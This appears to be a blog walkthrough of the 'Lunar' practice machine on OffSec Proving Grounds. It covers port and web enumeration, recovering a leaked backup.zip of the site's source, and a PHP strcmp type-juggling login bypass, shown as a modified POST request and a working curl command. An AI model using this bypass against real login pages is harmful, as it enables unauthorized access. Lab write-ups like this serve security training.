A New Method A New Method

Proving Grounds-Lunar

Lunar is an “intermediate” rated box on Offensive Security’s “Proving Grounds: Practice” platform.

Offsec provides walkthroughs for their machines, but at times there are incongruities between what is stated and what works, I’d like to provide an alternative methodolgy, and hopefully show off some simpler techniques.

Lunar highlights reading source-code and exploiting PHP vulnerabilities.


We start off with our usual nmap scan:

sudo nmap -sS -sV -sC --min-rate=10000 -p- -oN fast-nmap -vv $target

And get back the following:

PORT      STATE SERVICE    REASON         VERSION                                                                                                           
22/tcp    open  ssh        syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)                                                                                      
| ssh-hostkey:                                                                                                                                              
|   3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA)                
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDH6PH1/ST7TUJ4Mp/l4c7G+TM07YbX7YIsnHzq1TRpvtiBh8MQuFkL1SWW9+za+h6ZraqoZ0ewwkH+0la436t9Q+2H/Nh4CntJOrRbpLJKg4hChjgCHd5KiLCOKHhXPs/FA3mm0Zkzw1tVJLPR6R
|   256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA)                                                                                             
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI0EdIHR7NOReMM0G7C8zxbLgwB3ump+nb2D3Pe3tXqp/6jNJ/GbU2e4Ab44njMKHJbm/PzrtYzojMjGDuBlQCg=
|   256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDCc0saExmeDXtqm5FS+D5RnDke8aJEvFq3DJIr0KZML                                                                          
80/tcp    open  http       syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))      
|_http-title: Lunar Studio                                                    
| http-methods:                                                                                                                                             
|_  Supported Methods: OPTIONS HEAD GET POST                            
|_http-favicon: Unknown favicon MD5: 3653AD3D6A33550E6E60970FA20E1E00                                                                                       
|_http-server-header: Apache/2.4.41 (Ubuntu)                                                                                                                
111/tcp   open  rpcbind    syn-ack ttl 63 2-4 (RPC #100000)
| rpcinfo:                                     
|   program version    port/proto  service                                                    
|   100000  2,3,4        111/tcp   rpcbind                                                    
|   100000  2,3,4        111/udp   rpcbind                                                    
|   100003  3           2049/udp   nfs         
|   100003  3,4         2049/tcp   nfs         
|   100005  1,2,3      34281/tcp   mountd                                                     
|   100005  1,2,3      38838/udp   mountd                                                     
|   100021  1,3,4      43931/tcp   nlockmgr                                                   
|   100021  1,3,4      59451/udp   nlockmgr                                                   
|   100227  3           2049/tcp   nfs_acl                                                    
|_  100227  3           2049/udp   nfs_acl                                                    
2049/tcp  open  nfs_acl    syn-ack ttl 63 3 (RPC #100227)                                     
34769/tcp open  mountd     syn-ack ttl 63 1-3 (RPC #100005)                                   
37039/tcp open  tcpwrapped syn-ack ttl 63                                                     
37645/tcp open  mountd     syn-ack ttl 63 1-3 (RPC #100005)                                   
40409/tcp open  tcpwrapped syn-ack ttl 63                                                     
43931/tcp open  nlockmgr   syn-ack ttl 63 1-4 (RPC #100021)                                   
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel  

Enumeration HTTP - Discovering backup.zip

There are a number of ports open, but since a lot of web enumeration entails a lot of fuzzing of the site, we’ll get started with fuzzing first.

We can use a number of techniques to get to the next stage, which will be finding an archive (.zip) file of some of the sites key files.

To find backup.zip, we can run nikto w/ the following:

nikto -h http://$target -o nikto.txt

and get the following output:

- Nikto v2.1.6/2.1.5
+ Target Port: 80
+ GET The anti-clickjacking X-Frame-Options header is not present.
+ GET The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ GET The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ OSVDB-630: GET The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "".
+ GET Server may leak inodes via ETags, header found with file /, inode: 49b7, size: 5ddbc015cc380, mtime: gzip
+ HEAD /backup.zip: Potentially interesting archive/cert file found.
+ HEAD /backup.zip: Potentially interesting archive/cert file found. (NOTE: requested by IP address).
+ GET Cookie PHPSESSID created without the httponly flag
+ OSVDB-3268: GET /css/: Directory indexing found.
+ OSVDB-3092: GET /css/: This might be interesting...
+ OSVDB-3268: GET /images/: Directory indexing found.
+ GET /login.php: Admin login page/section found.

We can also find the .zip using dirsearch or gobuster , here’s my dirsearch query:

#dirsearch.py -u $target -e html,php,txt,sh,zip -t 20 -r -f -x 400,401,404

and its output:

200     1MB

Note that, dirsearch uses the common.txt wordlist found, on Kali installations at /usr/share/dirb/wordlists/common.txt.

Extracting backup.zip and Reading Source

Ok, that now that we’ve found our way to the backup.zip file, we’ll extract it via whatever means work best for you. I like using 7z e backup.zip.

Once we’ve extracted our files, we’ll find we have a few .php files.


We can take a look at the target site and our earlier enumeration and see that we’re able to access the login.php page.

Looking at the source for this page we can find the following:

include 'creds.php';
$error = null;                                 
if ($_POST) {                  
  if ($_POST['email'] && !empty($_POST['email']) && $_POST['email'] === 'liam@lunar.local' && strcmp($_POST['password'], $pwd) == 0) {
      $_SESSION['email'] = $_POST['email'];                                                   
      header('Location: dashboard.php');
  else {                                                                                      
      $error = "Email or password is incorrect.";                                             

The first thing we’ll notice is the use of the include statement pointing to creds.php, which will get referenced in a little bit.

Next, we’ll take a look at the following if statement:

if ($_POST['email'] && !empty($_POST['email']) && $_POST['email'] === 'liam@lunar.local' && strcmp($_POST['password'], $pwd) == 0)

The first part is taking the user input of the email variable and making sure that it’s equal to liam@lunar.local and then there’s the interesting part:

strcmp($_POST['password'], $pwd)

The php docs say strcmp function is:

strcmp — Binary safe string comparison

What’s interesting about the string comparison in our target’s source is the comparison to the $pwd variable. Since the variable isn’t declared on the login.php source, its likely compared to the $pwd varable declared in creds.php.

So, we need to either find a way to read creds.php OR find a way to bypass it.

And it turns our that strcmp is a strange function due to the quirks of PHP’s loose comparison understandings.

If we take a look at the following slides from an OWASP talk titled “PHP Magic Tricks: Type Juggling” (Page 34, 35, 36) we get a much better understanding of the dangers of the functions as well as its implementation here:

Looking at our source code snippet again:

strcmp($_POST['password'], $pwd)

We can see that the contents of that array is whatever we’ve sent. But PHP is kinda stupid, so what would happen if we sent along, just an empty array?

Using Burp we can intercept our POST request to login.php.

Here’s our original request:

POST /login.php HTTP/1.1

Host: target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Connection: close
Cookie: PHPSESSID=u4jrbtublanh7khbhdluqhc3e3
Upgrade-Insecure-Requests: 1


We’ll modify the POST data to the following:


Here, we’re passing an empty array. Like in the slides from the OWASP talk, we’re telling PHP that the password equals NULL.

We send off the request and ….

We get a status code302 redirecting us to dashboard.php.

The following curl command will get us the same:

curl -i -s -k -X  POST -b 'PHPSESSID=u4jrbtublanh7khbhdluqhc3e3' --data-binary 'email=liam%40lunar.local&password[]=' http://$target/login.php

HTTP/1.1 302 Found
Date: Wed, 10 Aug 2022 19:48:23 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: dashboard.php
Content-Length: 0
Content-Type: text/html; charset=UTF-8

Now that we’ve successfully bypassed the login page, we’ll see what vulns we can find in dashboard.php .

Which, I’ll post about in the next post.

If this post was helpful for you please feel free to reach out, or consider buying me a coffee.